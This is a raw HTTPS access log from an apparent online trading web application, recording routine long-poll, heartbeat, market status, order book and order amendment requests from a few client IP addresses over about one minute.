[09/Jan/2026:14:17:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:17:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:17:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939743386 HTTP/1.1" -
[09/Jan/2026:14:17:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:17:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:17:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939746257 HTTP/1.1" -
[09/Jan/2026:14:17:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:17:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 2735
[09/Jan/2026:14:17:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939763196 HTTP/1.1" -
[09/Jan/2026:14:17:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:17:58 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939754061 HTTP/1.1" -
[09/Jan/2026:14:18:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:18:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 305
[09/Jan/2026:14:18:00 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939748438 HTTP/1.1" -
[09/Jan/2026:14:18:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939751311 HTTP/1.1" -
[09/Jan/2026:14:18:03 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939759161 HTTP/1.1" -
[09/Jan/2026:14:18:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939769189 HTTP/1.1" -
[09/Jan/2026:14:18:05 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939753507 HTTP/1.1" -
[09/Jan/2026:14:18:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939756424 HTTP/1.1" -
[09/Jan/2026:14:18:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:18:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:18:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939764234 HTTP/1.1" -
[09/Jan/2026:14:18:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939775192 HTTP/1.1" -
[09/Jan/2026:14:18:11 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939758615 HTTP/1.1" -
[09/Jan/2026:14:18:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939761511 HTTP/1.1" -
[09/Jan/2026:14:18:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:18:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Amend HTTP/1.1" 126
[09/Jan/2026:14:18:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:18:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:14:18:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:18:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Amend?csrf_nonce=8DE5C509C6C5D6996FB73E7E12BC54E5 HTTP/1.1" 948
[09/Jan/2026:14:18:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:18:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:18:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:18:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:18:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:18:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:18:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939769341 HTTP/1.1" -
[09/Jan/2026:14:18:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:18:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 2839
[09/Jan/2026:14:18:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:18:16 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939763696 HTTP/1.1" -
[09/Jan/2026:14:18:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939781196 HTTP/1.1" -
[09/Jan/2026:14:18:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939766638 HTTP/1.1" -
[09/Jan/2026:14:18:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939774413 HTTP/1.1" -
[09/Jan/2026:14:18:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:18:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:18:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939768801 HTTP/1.1" -
[09/Jan/2026:14:18:22 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:18:22 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:18:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939787192 HTTP/1.1" -
[09/Jan/2026:14:18:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939771682 HTTP/1.1" -
[09/Jan/2026:14:18:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939779515 HTTP/1.1" -
[09/Jan/2026:14:18:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:18:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:18:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:18:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:18:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939773905 HTTP/1.1" -
[09/Jan/2026:14:18:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:18:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:18:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939776763 HTTP/1.1" -
[09/Jan/2026:14:18:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939793190 HTTP/1.1" -
[09/Jan/2026:14:18:29 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939784548 HTTP/1.1" -
[09/Jan/2026:14:18:31 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939778932 HTTP/1.1" -
[09/Jan/2026:14:18:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:18:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:18:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939781846 HTTP/1.1" -
[09/Jan/2026:14:18:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1803
[09/Jan/2026:14:18:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:18:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:18:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1779
[09/Jan/2026:14:18:34 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939789609 HTTP/1.1" -
[09/Jan/2026:14:18:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939799199 HTTP/1.1" -
[09/Jan/2026:14:18:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939783984 HTTP/1.1" -
[09/Jan/2026:14:18:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:18:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:18:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939787034 HTTP/1.1" -
[09/Jan/2026:14:18:39 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939794708 HTTP/1.1" -
[09/Jan/2026:14:18:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939805184 HTTP/1.1" -
[09/Jan/2026:14:18:41 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939789062 HTTP/1.1" -
[09/Jan/2026:14:18:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939792142 HTTP/1.1" -
[09/Jan/2026:14:18:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939799779 HTTP/1.1" -
[09/Jan/2026:14:18:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939811190 HTTP/1.1" -
[09/Jan/2026:14:18:46 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939794133 HTTP/1.1" -
[09/Jan/2026:14:18:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939797295 HTTP/1.1" -
[09/Jan/2026:14:18:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939804873 HTTP/1.1" -
[09/Jan/2026:14:18:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:18:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:18:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939799248 HTTP/1.1" -
[09/Jan/2026:14:18:52 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:18:52 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:18:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939817186 HTTP/1.1" -
[09/Jan/2026:14:18:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939802492 HTTP/1.1" -
[09/Jan/2026:14:18:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939809941 HTTP/1.1" -
[09/Jan/2026:14:18:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:18:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:18:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:18:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:18:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939804314 HTTP/1.1" -
[09/Jan/2026:14:18:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:18:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:18:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939823190 HTTP/1.1" -
[09/Jan/2026:14:18:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939807640 HTTP/1.1" -
